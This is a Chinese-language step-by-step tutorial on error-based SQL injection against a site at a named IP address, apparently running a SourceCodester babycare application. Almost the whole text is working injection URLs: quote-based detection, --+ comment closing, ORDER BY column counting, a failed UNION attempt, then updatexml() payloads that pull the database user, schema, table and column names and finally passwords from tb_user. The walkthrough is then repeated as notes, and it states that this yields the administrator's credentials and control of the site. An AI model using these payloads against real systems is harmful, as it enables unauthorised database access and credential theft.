SQL报错注入
http://117.167.136.240:55580,这个网站为例。
第一步:先找注入点
怎么找注入点?
1.要与后台数据库有联系,有交互
2.可以传入参数,并且可控
这上面的可以都去点一下试试。
这里可以发现点第三个的时候,页面是不变的,id也没变
那我们可以猜测这就是一个注入点(id可传入参数,id=1和id=2时,页面不一样,说明与后台数据库交互了)
第二步:确认这就是注入点
怎么确认?
往id后加一个’
http://117.167.136.240:55580/page.php?id=2’
如果报错说明它就是一个注入点
第三步:进行闭合
往后面加 --+
http://117.167.136.240:55580/page.php?id=2’ --+
闭合后,页面会正常显示,然后我们就可以在’后–+前加入我们的SQL语句。
第四步:order by 查询字段
一个一个试,先看看20
http://117.167.136.240:55580/page.php?id=2’ order by 20 --+
报错,说明没有二十个字段,折中试试
http://117.167.136.240:55580/page.php?id=2’ order by 10 --+
还报错,再折中,以此类推,我们可以发现它有四个字段(回显正常页面)
http://117.167.136.240:55580/page.php?id=2’ order by 4 --+
进行注入
首先,我们试试常用的union注入
http://117.167.136.240:55580/page.php?id=2’ union select 1,2,3,4 --+
发现是报错的,所以这里我们不能用union注入,我们使用报错注入,利用函数updatexml()演示SQL语句
报错注入攻击
1.获取user()
http://117.167.136.240:55580/page.php?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+
2.获取当前database()
http://117.167.136.240:55580/page.php?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
3.获取数据库名
http://117.167.136.240:55580/page.php?id=1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1) --+
4.获取数据表名(其中的test是表示所获取到的数据库名)
http://117.167.136.240:55580/page.php?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema= 'sourcecodester_ babycare' limit 0,1),0x7e),1) --+
这里我们改动limit的参数,来获取我们想要的表。
5.获取列名
http://117.167.136.240:55580/page.php?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='sourcecodester_ babycare' and table_name='tb_user' limit 0,1),0x7e),1)--+
6.获取表内具体数据
http://117.167.136.240:55580/page.php?id=1' and updatexml(1,concat(0x7e,(select password from tb_user limit 0,1),0x7e),1)--+
这样我们就可以拿到网站管理员的账户和密码,从而拿到网站的权限。
后面再附上笔记
先在网站http://117.167.136.240:55580找到注入点
判断注入点
http://117.167.136.240:55580/page.php?id=1’
进行闭合
http://117.167.136.240:55580/page.php?id=1’ --+
用order by查询字段
http://117.167.136.240:55580/page.php?id=1’ order by 4 --+
查询之后用union进行注入
http://117.167.136.240:55580/page.php?id=1’ union select 1,2,3,4 --+
用union注入发现报错,说明union注入在此网站无法使用
使用报错注入攻击
利用函数updatexml()演示SQL语句
获取user()
http://117.167.136.240:55580/page.php?id=1’ and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+
获取database() 当前数据库的库名
http://117.167.136.240:55580/page.php?id=1’ and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
获取数据库名
http://117.167.136.240:55580/page.php?id=1’ and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1) --+
获取数据表名(其中的test是表示所获取到的数据库名)
http://117.167.136.240:55580/page.php?id=1’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema= ‘sourcecodester_ babycare’ limit 0,1),0x7e),1) --+
获取列名
http://117.167.136.240:55580/page.php?id=1’ and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=‘sourcecodester_ babycare’ and table_name=‘tb_user’ limit 0,1),0x7e),1)–+
查询具体数据
http://117.167.136.240:55580/page.php?id=1’ and updatexml(1,concat(0x7e,(select password from tb_user limit 0,1),0x7e),1)–+